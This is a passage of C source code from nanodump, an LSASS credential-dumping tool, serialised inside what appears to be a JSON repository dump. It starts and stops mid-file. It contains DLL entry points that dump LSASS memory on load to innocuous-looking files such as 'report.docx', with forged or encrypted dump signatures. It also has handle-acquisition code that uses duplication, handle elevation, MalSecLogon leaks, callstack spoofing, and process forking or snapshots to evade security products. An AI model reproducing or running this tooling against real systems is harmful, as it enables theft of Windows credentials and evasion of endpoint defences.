NULL;\n    DWORD          lsass_pid            = 0;\n    BOOL           duplicate_handle     = FALSE;\n    BOOL           success              = TRUE;\n    BOOL           use_valid_sig        = FALSE;\n    SIZE_T         region_size          = 0;\n    PVOID          base_address         = NULL;\n    CHAR           dump_path[MAX_PATH]  = { 0 };\n    WCHAR          wcFilePath[MAX_PATH] = { 0 };\n    UNICODE_STRING full_dump_path       = { 0 };\n    LPWSTR*        argv                 = NULL;\n\n    full_dump_path.Buffer        = wcFilePath;\n    full_dump_path.Length        = 0;\n    full_dump_path.MaximumLength = 0;\n\n    dc.BaseAddress = NULL;\n    dc.DumpMaxSize = 0;\n\n#ifdef _M_IX86\n    if(local_is_wow64())\n    {\n        PRINT_ERR(\"Nanodump does not support WoW64\");\n        return FALSE;\n    }\n#endif\n\n    //remove_syscall_callback_hook();\n\n    success = delete_known_dll_entry();\n    if (!success)\n        goto cleanup;\n\n    CommandLineToArgvW_t CommandLineToArgvW;\n    CommandLineToArgvW = (CommandLineToArgvW_t)(ULONG_PTR)get_function_address(\n        get_library_address(SHELL32_DLL, TRUE),\n        CommandLineToArgvW_SW2_HASH,\n        0);\n    if (!CommandLineToArgvW)\n    {\n        api_not_found(\"CommandLineToArgvW\");\n        goto cleanup;\n    }\n    GetCommandLineW_t GetCommandLineW;\n    GetCommandLineW = (GetCommandLineW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetCommandLineW_SW2_HASH,\n        0);\n    if (!GetCommandLineW)\n    {\n        api_not_found(\"GetCommandLineW\");\n        goto cleanup;\n    }\n\n    int argc = 0;\n    argv = CommandLineToArgvW(GetCommandLineW(), &argc);\n    if (!argv || !argc)\n        goto cleanup;\n\n    for (int i = 1; i < argc; ++i)\n    {\n        if (!_wcsicmp(argv[i], L\"-v\") ||\n            !_wcsicmp(argv[i], L\"--valid\"))\n        {\n            use_valid_sig = TRUE;\n        }\n        else if (!_wcsicmp(argv[i], L\"-w\") ||\n                 !_wcsicmp(argv[i], L\"--write\"))\n        {\n            if (i + 1 >= argc)\n            {\n                PRINT(\"missing --write value\");\n                goto cleanup;\n            }\n            wcstombs(dump_path, argv[++i], MAX_PATH);\n            get_full_path(&full_dump_path, dump_path);\n        }\n        else if (!_wcsicmp(argv[i], L\"-p\") ||\n                 !_wcsicmp(argv[i], L\"--pid\"))\n        {\n            if (i + 1 >= argc)\n            {\n                PRINT(\"missing --pid value\");\n                goto cleanup;\n            }\n            i++;\n            lsass_pid = wcstoul(argv[i], NULL, 10);\n        }\n        else if (!_wcsicmp(argv[i], L\"-d\") ||\n                 !_wcsicmp(argv[i], L\"--duplicate\"))\n        {\n            duplicate_handle = TRUE;\n        }\n        else\n        {\n            PRINT(\"invalid argument: %s\", argv[i]);\n            goto cleanup;\n        }\n    }\n\n    LocalFree(argv); argv = NULL;\n\n    if (!full_dump_path.Length)\n        goto cleanup;\n\n    success = enable_debug_priv();\n    if (!success)\n        goto cleanup;\n\t\n    // if not provided, get the PID of LSASS\n    if (!lsass_pid)\n    {\n        lsass_pid = get_lsass_pid();\n        if (!lsass_pid)\n            goto cleanup;\n    }\n    else\n    {\n        DPRINT(\"Using %ld as the PID of \" LSASS, lsass_pid);\n    }\n\n    if (!full_dump_path.Length)\n    {\n        PRINT(\"You must provide the dump file: --write C:\\\\Windows\\\\Temp\\\\doc.docx\");\n        goto cleanup;\n    }\n\n    if (!create_file(&full_dump_path))\n        goto cleanup;\n\n    success = obtain_lsass_handle(\n        &hProcess,\n        lsass_pid,\n        duplicate_handle,\n        FALSE,\n        FALSE,\n        FALSE,\n        FALSE,\n        FALSE,\n        NULL,\n        NULL,\n        use_valid_sig,\n        dump_path,\n        FALSE,\n        FALSE,\n        NULL,\n        FALSE,\n        FALSE,\n        FALSE);\n    if (!success)\n        goto cleanup;\n\n    // set the signature\n    if (use_valid_sig)\n    {\n        DPRINT(\"Using a valid signature\");\n        dc.Signature = MINIDUMP_SIGNATURE;\n        dc.Version = MINIDUMP_VERSION;\n        dc.ImplementationVersion = MINIDUMP_IMPL_VERSION;\n    }\n    else\n    {\n        DPRINT(\"Using a invalid signature\");\n        generate_invalid_sig(\n            &dc.Signature,\n            &dc.Version,\n            &dc.ImplementationVersion);\n    }\n\n    // allocate a chuck of memory to write the dump\n    region_size = DUMP_MAX_SIZE;\n    base_address = allocate_memory(&region_size);\n    if (!base_address)\n        goto cleanup;\n\n    dc.hProcess    = hProcess;\n    dc.BaseAddress = base_address;\n    dc.rva         = 0;\n    dc.DumpMaxSize = region_size;\n\n    success = NanoDumpWriteDump(&dc);\n    if (!success)\n        goto cleanup;\n\n    DPRINT(\n        \"The dump was created successfully, final size: %d MiB\",\n        (dc.rva/1024)/1024);\n\n    if (!use_valid_sig)\n    {\n        // at this point, you can encrypt or obfuscate the dump\n        encrypt_dump(\n            dc.BaseAddress,\n            dc.rva);\n    }\n\n    success = write_file(\n        &full_dump_path,\n        dc.BaseAddress,\n        dc.rva);\n\n    if (!success)\n        goto cleanup;\n\n    bReturnValue = TRUE;\n\ncleanup:\n    if (argv)\n        LocalFree(argv);\n    if (dc.BaseAddress && dc.DumpMaxSize)\n        erase_dump_from_memory(dc.BaseAddress, dc.DumpMaxSize);\n    if (hProcess)\n        NtClose(hProcess);\n    if (!bReturnValue)\n        delete_file(dump_path);\n\n    return bReturnValue;\n}\n\n__declspec(dllexport) BOOL APIENTRY DllMain(\n    HINSTANCE hinstDLL,\n    DWORD fdwReason,\n    LPVOID lpReserved)\n{\n    UNUSED(hinstDLL);\n    UNUSED(lpReserved);\n    switch (fdwReason)\n    {\n        case DLL_PROCESS_ATTACH:\n            NanoDumpPPLDump();\n            break;\n        case DLL_THREAD_ATTACH:\n            break;\n        case DLL_THREAD_DETACH:\n            break;\n        case DLL_PROCESS_DETACH:\n            break;\n    }\n    return TRUE;\n}\n\n// Windows 8.1 -> SspiCli.dll\n//\n//   000000014005B1C8  LogonUserExExW SspiCli\n//\nvoid APIENTRY LogonUserExExW(VOID) {}\n\n//\n// Windows 10 -> EventAggregation.dll\n//\n//   0000000140083728  EaDeleteAggregatedEvent EventAggregation\n//   0000000140083730  BriCreateBrokeredEvent EventAggregation\n//   0000000140083738  EaCreateAggregatedEvent EventAggregation\n//   0000000140083740  BriDeleteBrokeredEvent EventAggregation\n//   0000000140083748  EACreateAggregateEvent EventAggregation\n//   0000000140083750  EaQueryAggregatedEventParameters EventAggregation\n//   0000000140083758  EaFreeAggregatedEventParameters EventAggregation\n//   0000000140083760  EADeleteAggregateEvent EventAggregation\n//   0000000140083768  EAQueryAggregateEventData EventAggregation\nvoid APIENTRY BriCreateBrokeredEvent(VOID) {}\nvoid APIENTRY BriDeleteBrokeredEvent(VOID) {}\nvoid APIENTRY EaCreateAggregatedEvent(VOID) {}\nvoid APIENTRY EACreateAggregateEvent(VOID) {}\nvoid APIENTRY EaQueryAggregatedEventParameters(VOID) {}\nvoid APIENTRY EAQueryAggregateEventData(VOID) {}\nvoid APIENTRY EaFreeAggregatedEventParameters(VOID) {}\nvoid APIENTRY EaDeleteAggregatedEvent(VOID) {}\nvoid APIENTRY EADeleteAggregateEvent(VOID) {}\n\n#elif defined(NANO) && defined(PPL_MEDIC)\n\n#include \"ppl/ppl_medic.h\"\n#include \"ppl/ppl_medic_dll.h\"\n#include \"pipe.h\"\n\nBOOL NanoDumpPPLMedic(VOID)\n{\n#if !defined(PASS_PARAMS_VIA_NAMED_PIPES) || (PASS_PARAMS_VIA_NAMED_PIPES == 0)\n\n    /*\n     * if you compile with -DPASS_PARAMS_VIA_NAMED_PIPES=0, then these are the parameters\n     * that the nanodump DLL will use, change them to your liking\n     */\n    /******************* change this *******************/\n    LPSTR          dump_path            = \"C:\\\\Windows\\\\Temp\\\\report.docx\";\n    BOOL           use_valid_sig        = FALSE;\n    BOOL           elevate_handle       = FALSE;\n    /***************************************************/\n    dump_context   dc                   = { 0 };\n    BOOL           ret_val              = FALSE;\n    BOOL           success              = FALSE;\n    DWORD          lsass_pid            = 0;\n    HANDLE         hProcess             = NULL;\n    SIZE_T         region_size          = 0;\n    PVOID          base_address         = NULL;\n    WCHAR          wcFilePath[MAX_PATH] = { 0 };\n    UNICODE_STRING full_dump_path       = { 0 };\n\n    signal_dll_load_event(STR_IPC_WAASMEDIC_LOAD_EVENT_NAME);\n\n#else\n    HANDLE         hPipe                = NULL;\n    LPSTR          dump_path            = NULL;\n    BOOL           use_valid_sig        = FALSE;\n    BOOL           elevate_handle       = FALSE;\n    dump_context   dc                   = { 0 };\n    BOOL           ret_val              = FALSE;\n    BOOL           success              = FALSE;\n    DWORD          lsass_pid            = 0;\n    HANDLE         hProcess             = NULL;\n    SIZE_T         region_size          = 0;\n    PVOID          base_address         = NULL;\n    WCHAR          wcFilePath[MAX_PATH] = { 0 };\n    UNICODE_STRING full_dump_path       = { 0 };\n\n    success = server_create_named_pipe(\n        IPC_PIPE_NAME,\n        FALSE,\n        &hPipe);\n    if (!success)\n        goto cleanup;\n\n    success = signal_dll_load_event(STR_IPC_WAASMEDIC_LOAD_EVENT_NAME);\n    if (!success)\n        goto cleanup;\n\n    success = server_listen_on_named_pipe(\n        hPipe);\n    if (!success)\n        goto cleanup;\n\n    success = server_recv_arguments_from_pipe(\n        hPipe,\n        &dump_path,\n        &use_valid_sig,\n        &elevate_handle);\n    if (!success)\n        goto cleanup;\n\n#endif\n\n    full_dump_path.Buffer        = wcFilePath;\n    full_dump_path.Length        = 0;\n    full_dump_path.MaximumLength = 0;\n    get_full_path(&full_dump_path, dump_path);\n\n    dc.BaseAddress = NULL;\n    dc.DumpMaxSize = 0;\n\n#ifdef _M_IX86\n    if(local_is_wow64())\n    {\n        PRINT_ERR(\"Nanodump does not support WoW64\");\n        return FALSE;\n    }\n#endif\n\n    //remove_syscall_callback_hook();\n\n    if (!full_dump_path.Length)\n        goto cleanup;\n\n    // not sure why this fails\n    //success = enable_debug_priv();\n    //if (!success)\n    //    goto cleanup;\n    \n    // if not provided, get the PID of LSASS\n    if (!lsass_pid)\n    {\n        lsass_pid = get_lsass_pid();\n        if (!lsass_pid)\n            goto cleanup;\n    }\n    else\n    {\n        DPRINT(\"Using %ld as the PID of \" LSASS, lsass_pid);\n    }\n\n    if (!create_file(&full_dump_path))\n        goto cleanup;\n\n    success = obtain_lsass_handle(\n        &hProcess,\n        lsass_pid,\n        FALSE,\n        elevate_handle,\n        FALSE,\n        FALSE,\n        0,\n        FALSE,\n        NULL,\n        NULL,\n        use_valid_sig,\n        dump_path,\n        FALSE,\n        FALSE,\n        NULL,\n        FALSE,\n        FALSE,\n        FALSE);\n    if (!success)\n        goto cleanup;\n\n    // set the signature\n    if (use_valid_sig)\n    {\n        DPRINT(\"Using a valid signature\");\n        dc.Signature = MINIDUMP_SIGNATURE;\n        dc.Version = MINIDUMP_VERSION;\n        dc.ImplementationVersion = MINIDUMP_IMPL_VERSION;\n    }\n    else\n    {\n        DPRINT(\"Using a invalid signature\");\n        generate_invalid_sig(\n            &dc.Signature,\n            &dc.Version,\n            &dc.ImplementationVersion);\n    }\n\n    // allocate a chuck of memory to write the dump\n    region_size = DUMP_MAX_SIZE;\n    base_address = allocate_memory(&region_size);\n    if (!base_address)\n        goto cleanup;\n\n    dc.hProcess    = hProcess;\n    dc.BaseAddress = base_address;\n    dc.rva         = 0;\n    dc.DumpMaxSize = region_size;\n\n    success = NanoDumpWriteDump(&dc);\n    if (!success)\n        goto cleanup;\n\n    DPRINT(\n        \"The dump was created successfully, final size: %d MiB\",\n        (dc.rva/1024)/1024);\n\n    if (!use_valid_sig)\n    {\n        // at this point, you can encrypt or obfuscate the dump\n        encrypt_dump(\n            dc.BaseAddress,\n            dc.rva);\n    }\n\n    success = write_file(\n        &full_dump_path,\n        dc.BaseAddress,\n        dc.rva);\n\n    if (!success)\n        goto cleanup;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (dc.BaseAddress && dc.DumpMaxSize)\n        erase_dump_from_memory(dc.BaseAddress, dc.DumpMaxSize);\n    if (hProcess)\n        NtClose(hProcess);\n    if (!ret_val)\n        delete_file(dump_path);\n#if defined(PASS_PARAMS_VIA_NAMED_PIPES) && (PASS_PARAMS_VIA_NAMED_PIPES == 1)\n    if (dump_path)\n        intFree(dump_path);\n    server_send_success(\n        hPipe,\n        ret_val);\n    if (hPipe)\n        server_disconnect_pipe(hPipe);\n    if (hPipe)\n        NtClose(hPipe);\n#endif\n\n    return ret_val;\n}\n\n__declspec(dllexport) BOOL APIENTRY DllMain(\n    HINSTANCE hinstDLL,\n    DWORD fdwReason,\n    LPVOID lpReserved)\n{\n    UNUSED(hinstDLL);\n    UNUSED(lpReserved);\n    switch (fdwReason)\n    {\n        case DLL_PROCESS_ATTACH:\n            NanoDumpPPLMedic();\n            break;\n        case DLL_THREAD_ATTACH:\n            break;\n        case DLL_THREAD_DETACH:\n            break;\n        case DLL_PROCESS_DETACH:\n            break;\n    }\n    return TRUE;\n}\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/handle.c",
    "content": "#include \"utils.h\"\n#include \"handle.h\"\n#include \"dinvoke.h\"\n#include \"modules.h\"\n#include \"malseclogon.h\"\n#include \"spoof_callstack.h\"\n\n#if (defined(NANO) || defined(PPL_MEDIC)) && !defined(SSP)\n\nBOOL find_token_handles_in_process(\n    IN DWORD process_pid,\n    IN DWORD permissions,\n    OUT PHANDLE_LIST* phandle_list)\n{\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n    PSYSTEM_HANDLE_INFORMATION handleTableInformation = NULL;\n    ULONG handleTableInformationSize = 0;\n\n    DPRINT(\"Finding token handles in the process with PID %ld\", process_pid);\n\n    PHANDLE_LIST handle_list = intAlloc(sizeof(HANDLE_LIST));\n    if (!handle_list)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    ULONG TokenTypeIndex = 0;\n    success = get_type_index_by_name(TOKEN_HANDLE_TYPE, &TokenTypeIndex);\n    if (!success)\n        goto cleanup;\n\n    success = get_all_handles(\n        &handleTableInformation,\n        &handleTableInformationSize);\n    if (!success)\n        goto cleanup;\n\n    // loop over each handle\n    for (ULONG j = 0; j < handleTableInformation->Count; j++)\n    {\n        PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handle[j];\n\n        // make sure this handle is from the target process\n        if (handleInfo->UniqueProcessId != process_pid)\n            continue;\n\n        // make sure the handle has the permissions we need\n        if ((handleInfo->GrantedAccess & permissions) != permissions)\n            continue;\n\n        // make sure the handle is of type 'Token'\n        if (handleInfo->ObjectTypeIndex != TokenTypeIndex)\n            continue;\n\n        if (handle_list->Count + 1 > MAX_HANDLES)\n        {\n            PRINT_ERR(\"Too many handles, please increase MAX_HANDLES\");\n            goto cleanup;\n        }\n        handle_list->Handle[handle_list->Count++] = (HANDLE)(ULONG_PTR)handleInfo->HandleValue;\n    }\n\n    *phandle_list = handle_list;\n    ret_val = TRUE;\n    DPRINT(\"Found %ld handles\", handle_list->Count);\n\ncleanup:\n    if (!ret_val && handle_list)\n    {\n        DATA_FREE(handle_list, sizeof(HANDLE_LIST));\n    }\n    if (handleTableInformation)\n    {\n        DATA_FREE(handleTableInformation, handleTableInformationSize);\n    }\n\n    return ret_val;\n}\n\nBOOL find_process_handles_in_process(\n    IN DWORD process_pid,\n    IN DWORD permissions,\n    OUT PHANDLE_LIST* phandle_list)\n{\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n    PSYSTEM_HANDLE_INFORMATION handleTableInformation = NULL;\n    ULONG handleTableInformationSize = 0;\n\n    DPRINT(\"Finding process handles in the process with PID %ld\", process_pid);\n\n    PHANDLE_LIST handle_list = intAlloc(sizeof(HANDLE_LIST));\n    if (!handle_list)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    ULONG ProcesTypeIndex = 0;\n    success = get_type_index_by_name(PROCESS_HANDLE_TYPE, &ProcesTypeIndex);\n    if (!success)\n        goto cleanup;\n\n    success = get_all_handles(\n        &handleTableInformation,\n        &handleTableInformationSize);\n    if (!success)\n        goto cleanup;\n\n    // loop over each handle\n    for (ULONG j = 0; j < handleTableInformation->Count; j++)\n    {\n        PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handle[j];\n\n        // make sure this handle is from the target process\n        if (handleInfo->UniqueProcessId != process_pid)\n            continue;\n\n        // make sure the handle has the permissions we need\n        if ((handleInfo->GrantedAccess & permissions) != permissions)\n            continue;\n\n        // make sure the handle is of type 'Process'\n        if (handleInfo->ObjectTypeIndex != ProcesTypeIndex)\n            continue;\n\n        if (handle_list->Count + 1 > MAX_HANDLES)\n        {\n            PRINT_ERR(\"Too many handles, please increase MAX_HANDLES\");\n            goto cleanup;\n        }\n        handle_list->Handle[handle_list->Count++] = (HANDLE)(ULONG_PTR)handleInfo->HandleValue;\n    }\n\n    *phandle_list = handle_list;\n    ret_val = TRUE;\n    DPRINT(\"Found %ld handles\", handle_list->Count);\n\ncleanup:\n    if (handleTableInformation)\n    {\n        DATA_FREE(handleTableInformation, handleTableInformationSize);\n    }\n    if (!ret_val && handle_list)\n    {\n        DATA_FREE(handle_list, sizeof(HANDLE_LIST));\n    }\n\n    return ret_val;\n}\n\nBOOL find_directory_handles_in_process(\n    IN DWORD process_pid,\n    IN DWORD permissions,\n    OUT PHANDLE_LIST* phandle_list)\n{\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n    PSYSTEM_HANDLE_INFORMATION handleTableInformation = NULL;\n    ULONG handleTableInformationSize = 0;\n    ULONG DirectoryTypeIndex = 0;\n\n    DPRINT(\"Finding directory handles in the process with PID %ld\", process_pid);\n\n    PHANDLE_LIST handle_list = intAlloc(sizeof(HANDLE_LIST));\n    if (!handle_list)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    success = get_type_index_by_name(DIRECTORY_HANDLE_TYPE, &DirectoryTypeIndex);\n    if (!success)\n        goto cleanup;\n\n    success = get_all_handles(\n        &handleTableInformation,\n        &handleTableInformationSize);\n    if (!success)\n        goto cleanup;\n\n    // loop over each handle\n    for (ULONG j = 0; j < handleTableInformation->Count; j++)\n    {\n        PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handle[j];\n\n        // make sure this handle is from the target process\n        if (handleInfo->UniqueProcessId != process_pid)\n            continue;\n\n        // make sure the handle has the permissions we need\n        if ((handleInfo->GrantedAccess & permissions) != permissions)\n            continue;\n\n        // make sure the handle is of type 'Directory'\n        if (handleInfo->ObjectTypeIndex != DirectoryTypeIndex)\n            continue;\n\n        if (handle_list->Count + 1 > MAX_HANDLES)\n        {\n            PRINT_ERR(\"Too many handles, please increase MAX_HANDLES\");\n            goto cleanup;\n        }\n        handle_list->Handle[handle_list->Count++] = (HANDLE)(ULONG_PTR)handleInfo->HandleValue;\n    }\n\n    *phandle_list = handle_list;\n    ret_val = TRUE;\n    DPRINT(\"Found %ld handles\", handle_list->Count);\n\ncleanup:\n    if (handleTableInformation)\n    {\n        DATA_FREE(handleTableInformation, handleTableInformationSize);\n    }\n    if (!ret_val && handle_list)\n    {\n        DATA_FREE(handle_list, sizeof(HANDLE_LIST));\n    }\n\n    return ret_val;\n}\n\n/*\n * Some security products remove permissions from handles\n * such as PROCESS_VM_READ. Make sure the handle has all\n * the permissions that we requested\n */\nBOOL check_handle_privs(\n    IN HANDLE handle,\n    IN DWORD permissions)\n{\n    BOOL ret_val = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    PUBLIC_OBJECT_BASIC_INFORMATION obj_info = { 0 };\n\n    status = NtQueryObject_(\n        handle,\n        ObjectBasicInformation,\n        &obj_info,\n        sizeof(PUBLIC_OBJECT_BASIC_INFORMATION),\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQueryObject\", status);\n        goto cleanup;\n    }\n\n    if ((obj_info.GrantedAccess & permissions) == permissions)\n    {\n        ret_val = TRUE;\n        DPRINT(\n            \"The handle has the appropiate permissions: 0x%lx\",\n            obj_info.GrantedAccess);\n    }\n    else\n    {\n        ret_val = FALSE;\n        DPRINT_ERR(\n            \"The handle should have access permissions of 0x%lx but has 0x%lx\",\n            permissions,\n            permissions & obj_info.GrantedAccess);\n        PRINT_ERR(\"Could not open a handle with the requested permissions\");\n    }\n\ncleanup:\n    return ret_val;\n}\n\n\n/*\n * \"The DuplicateHandle system call has an interesting behaviour\n * when using the pseudo current process handle, which has the value -1.\n * Specifically if you try and duplicate the pseudo handle from another\n * process you get back a full access handle to the source process.\"\n * https://www.tiraniddo.dev/2017/10/bypassing-sacl-auditing-on-lsass.html\n */\nHANDLE make_handle_full_access(\n    IN HANDLE hProcess,\n    IN DWORD attributes)\n{\n    if (!hProcess)\n        return NULL;\n\n    HANDLE hDuped = NULL;\n    NTSTATUS status = NtDuplicateObject(\n        hProcess,\n        (HANDLE)-1,\n        NtCurrentProcess(),\n        &hDuped,\n        0,\n        attributes,\n        DUPLICATE_SAME_ACCESS);\n\n    NtClose(hProcess); hProcess = NULL;\n\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtDuplicateObject\", status);\n        return NULL;\n    }\n\n    return hDuped;\n}\n\n// https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html\nHANDLE elevate_handle_via_duplicate(\n    IN HANDLE hProcess,\n    IN ACCESS_MASK DesiredAccess,\n    IN DWORD HandleAttributes)\n{\n    HANDLE hDupPriv = NULL;\n    HANDLE hHighPriv = NULL;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    ULONG options = 0;\n\n    if (!hProcess)\n        goto cleanup;\n\n    if (!DesiredAccess)\n        options = DUPLICATE_SAME_ACCESS;\n\n    status = NtDuplicateObject(\n        NtCurrentProcess(),\n        hProcess,\n        NtCurrentProcess(),\n        &hDupPriv,\n        PROCESS_DUP_HANDLE,\n        FALSE,\n        0);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtDuplicateObject\", status);\n        goto cleanup;\n    }\n\n    status = NtDuplicateObject(\n        hDupPriv,\n        NtCurrentProcess(),\n        NtCurrentProcess(),\n        &hHighPriv,\n        DesiredAccess,\n        HandleAttributes,\n        options);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtDuplicateObject\", status);\n        goto cleanup;\n    }\n\n    DPRINT(\n        \"Duplicated handle: 0x%lx -> 0x%lx\",\n        (DWORD)(ULONG_PTR)hProcess,\n        (DWORD)(ULONG_PTR)hHighPriv);\n\ncleanup:\n    if (hProcess)\n        NtClose(hProcess);\n    if (hDupPriv)\n        NtClose(hDupPriv);\n\n    return hHighPriv;\n}\n\n#if defined(NANO)\n\n// get the minimum permissions required to read LSASS\nDWORD get_lsass_min_permissions(VOID)\n{\n    PVOID pPeb;\n    PULONG32 OSMajorVersion;\n    pPeb = (PVOID)READ_MEMLOC(PEB_OFFSET);\n    OSMajorVersion = RVA(PULONG32, pPeb, OSMAJORVERSION_OFFSET);\n    // NOTE: mimikatz uses < instead of <= but this doesn't seem to work in Windows Server 2008 R2\n    return PROCESS_VM_READ | ((*OSMajorVersion <= 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);\n}\n\n// get the minimum permissions required to clone LSASS\nDWORD get_lsass_clone_permissions(VOID)\n{\n    PVOID pPeb;\n    PULONG32 OSMajorVersion;\n    pPeb = (PVOID)READ_MEMLOC(PEB_OFFSET);\n    OSMajorVersion = RVA(PULONG32, pPeb, OSMAJORVERSION_OFFSET);\n    return PROCESS_CREATE_PROCESS | ((*OSMajorVersion <= 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);\n}\n\n// get the minimum permissions required to dump LSASS via shtinkering\nDWORD get_lsass_shtinkering_permissions(VOID)\n{\n    PVOID pPeb;\n    PULONG32 OSMajorVersion;\n    pPeb = (PVOID)READ_MEMLOC(PEB_OFFSET);\n    OSMajorVersion = RVA(PULONG32, pPeb, OSMAJORVERSION_OFFSET);\n    // NOTE: mimikatz uses < instead of <= but this doesn't seem to work in Windows Server 2008 R2\n    return PROCESS_VM_READ | ((*OSMajorVersion <= 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);\n}\n\n// get a handle to LSASS via multiple methods\nBOOL obtain_lsass_handle(\n    OUT PHANDLE phProcess,\n    IN DWORD lsass_pid,\n    IN BOOL duplicate_handle,\n    IN BOOL elevate_handle,\n    IN BOOL duplicate_elevate,\n    IN BOOL use_seclogon_duplicate,\n    IN BOOL spoof_callstack,\n    IN BOOL is_seclogon_leak_local_stage_2,\n    IN LPCSTR seclogon_leak_remote_binary,\n    OUT PPROCESS_LIST* Pcreated_processes,\n    IN BOOL use_valid_sig,\n    IN LPCSTR dump_path,\n    IN BOOL fork_lsass,\n    IN BOOL snapshot_lsass,\n    OUT PHANDLE PhSnapshot,\n    IN BOOL use_seclogon_leak_local,\n    IN BOOL use_seclogon_leak_remote,\n    IN BOOL use_lsass_shtinkering)\n{\n    BOOL   ret_val               = FALSE;\n    BOOL   success               = FALSE;\n    HANDLE hProcess              = NULL;\n    DWORD  permissions           = get_lsass_min_permissions();\n    DWORD  duplicate_permissions = 0;\n    DWORD  attributes            = 0;\n    BOOL   use_seclogon_leak     = use_seclogon_leak_local || use_seclogon_leak_remote;\n\n    if (!phProcess)\n        return FALSE;\n\n    // --duplicate-elevate is simply --duplicate and --elevate-handle used together\n    if (duplicate_elevate)\n    {\n        elevate_handle = TRUE;\n        duplicate_handle = TRUE;\n    }\n\n    if (use_seclogon_leak && !is_seclogon_leak_local_stage_2)\n    {\n#if !defined(PPL_DUMP) && !defined(PPL_MEDIC)\n        success = malseclogon_handle_leak(\n            seclogon_leak_remote_binary,\n            dump_path,\n            fork_lsass,\n            snapshot_lsass,\n            use_valid_sig,\n            use_lsass_shtinkering,\n            use_seclogon_leak_local,\n            lsass_pid,\n            Pcreated_processes);\n        if (!success)\n            goto cleanup;\n        if (use_seclogon_leak_local)\n            return TRUE;\n#endif\n    }\n\n    // --seclogon-leak-remote requires --duplicate internaly\n    if (use_seclogon_leak_remote)\n        duplicate_handle = TRUE;\n\n    // LSASS Shtinkering needs the handle to be inheritable\n    if (use_lsass_shtinkering)\n        attributes |= OBJ_INHERIT;\n\n    // fork and snapshot require special permissions\n    if ((fork_lsass || snapshot_lsass) && !use_seclogon_leak)\n    {\n        permissions = get_lsass_clone_permissions();\n    }\n\n    // shtinkering requires special permissions\n    else if (use_lsass_shtinkering)\n    {\n        permissions = get_lsass_shtinkering_permissions();\n    }\n\n    // remember the permissions we needed\n    duplicate_permissions = permissions;\n\n    // if --elevate-handle was provided, we use PROCESS_QUERY_LIMITED_INFORMATION\n    if (elevate_handle)\n    {\n        permissions = PROCESS_QUERY_LIMITED_INFORMATION;\n    }\n\n    hProcess = open_handle_to_lsass(\n        lsass_pid,\n        permissions,\n        duplicate_handle,\n        use_seclogon_duplicate,\n        spoof_callstack,\n        is_seclogon_leak_local_stage_2,\n        attributes);\n    if (!hProcess)\n        goto cleanup;\n\n    success = check_handle_privs(hProcess, permissions);\n    if (!success)\n        goto cleanup;\n\n    if (elevate_handle)\n    {\n        hProcess = elevate_handle_via_duplicate(\n            hProcess,\n            duplicate_permissions,\n            attributes);\n        if (!hProcess)\n            goto cleanup;\n\n        success = check_handle_privs(hProcess, duplicate_permissions);\n        if (!success)\n            goto cleanup;\n    }\n    else if ((fork_lsass || snapshot_lsass || use_lsass_shtinkering)\n            && use_seclogon_leak)\n    {\n        hProcess = make_handle_full_access(\n            hProcess,\n            attributes);\n        if (!hProcess)\n            goto cleanup;\n\n        success = check_handle_privs(hProcess, duplicate_permissions);\n        if (!success)\n            goto cleanup;\n    }\n\n    // avoid reading LSASS directly by making a fork\n    if (fork_lsass)\n    {\n        hProcess = fork_process(\n            hProcess,\n            attributes);\n        if (!hProcess)\n            goto cleanup;\n    }\n\n    // avoid reading LSASS directly by making a snapshot\n    if (snapshot_lsass)\n    {\n        hProcess = snapshot_process(\n            hProcess,\n            PhSnapshot);\n        if (!hProcess)\n            goto cleanup;\n    }\n\n    ret_val = TRUE;\n\n    *phProcess = hProcess;\n\ncleanup:\n    if (!ret_val && hProcess)\n        NtClose(hProcess);\n\n    return ret_val;\n}\n\n\nHANDLE open_handle_to_lsass(\n    IN DWORD lsass_pid,\n    IN DWORD permissions,\n    IN BOOL dup,\n    IN BOOL seclogon_race,\n    IN BOOL spoof_callstack,\n    IN BOOL is_malseclogon_stage_2,\n    IN DWORD attributes)\n{\n    HANDLE hProcess = NULL;\n    // use MalSecLogon to leak a handle to LSASS\n    if (is_malseclogon_stage_2)\n    {\n        // this is always done from an EXE\n#if defined(EXE) && defined(NANO) && !defined(SSP) && !defined(PPL_DUMP) && !defined(PPL_MEDIC)\n        hProcess = malseclogon_stage_2();\n#endif\n    }\n    // duplicate an existing handle to LSASS\n    else if (dup)\n    {\n        DPRINT(\"Trying to find an existing \" LSASS \" handle to duplicate\");\n        hProcess = duplicate_lsass_handle(\n            lsass_pid,\n            permissions,\n            attributes);\n    }\n    else if (seclogon_race)\n    {\n#if defined(NANO) && !defined(SSP) && !defined(PPL_DUMP) && !defined(PPL_MEDIC)\n        hProcess = malseclogon_race_condition(\n            lsass_pid,\n            permissions,\n            attributes);\n#endif\n    }\n    else if (spoof_callstack)\n    {\n#if !defined(PPL_DUMP) && !defined(PPL_MEDIC)\n        hProcess = open_handle_with_spoofed_callstack(\n   